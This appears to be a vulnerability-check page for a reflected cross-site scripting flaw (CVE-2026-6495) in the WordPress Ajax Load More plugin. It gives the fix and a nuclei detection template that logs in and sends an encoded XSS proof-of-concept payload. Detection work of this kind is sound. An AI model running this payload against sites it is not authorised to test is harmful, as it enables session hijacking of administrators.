WordPress Ajax Load More < 7.8.4 - Reflected Cross-Site Scripting

highseverity

7.1CVSS score

0.4%likelihood of exploitation, next 30 days

31%of all CVEs are less likely

Readycheck to confirm it

The Ajax Load More WordPress plugin < 7.8.4 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting attack which could be used against high privilege users such as administrators.

Impact

Attackers can execute arbitrary JavaScript in browsers of logged-in users, potentially leading to session hijacking or privilege escalation.

Fix

Update the plugin to version 7.8.4 or later.

How to confirm it

Send: POST /wp-login.php
Positive when: status_code == 302 and contains(header, "wordpress_logged_in")
Send: GET /?alm_preview=%5Bajax_load_more%20id%3D%22%3C/div%3E%3Cimg%20src=x%20onerror=alert(document.domain)%3E#%22%5D
Positive when: status_code == 200 and contains(content_type, "text/html") and contains(body, "<img src=x onerror=alert(document.domain)>")

Run it with nuclei: nuclei -id CVE-2026-6495 -u <target>

The full check

id: CVE-2026-6495

info:
  name: WordPress Ajax Load More < 7.8.4 - Reflected Cross-Site Scripting
  author: anirbala98
  severity: high
  description: |
    The Ajax Load More WordPress plugin < 7.8.4 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting attack which could be used against high privilege users such as administrators.
  impact: |
    Attackers can execute arbitrary JavaScript in browsers of logged-in users, potentially leading to session hijacking or privilege escalation.
  remediation: |
    Update the plugin to version 7.8.4 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-6495
    - https://wpscan.com/vulnerability/c52f28c5-547d-48ae-89dd-edcdaeadcec5/
    - https://wordpress.org/plugins/ajax-load-more/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
    cvss-score: 7.1
    cve-id: CVE-2026-6495
    epss-score: 0.00368
    epss-percentile: 0.30957
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 2
    vendor: darren-cooney
    product: ajax-load-more
    framework: wordpress
    fofa-query: body="/wp-content/plugins/ajax-load-more/"
  tags: cve,cve2026,wordpress,wp-plugin,ajax-load-more,xss,authenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        GET /?alm_preview=%5Bajax_load_more%20id%3D%22%3C/div%3E%3Cimg%20src=x%20onerror=alert(document.domain)%3E#%22%5D HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "<img src=x onerror=alert(document.domain)>")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from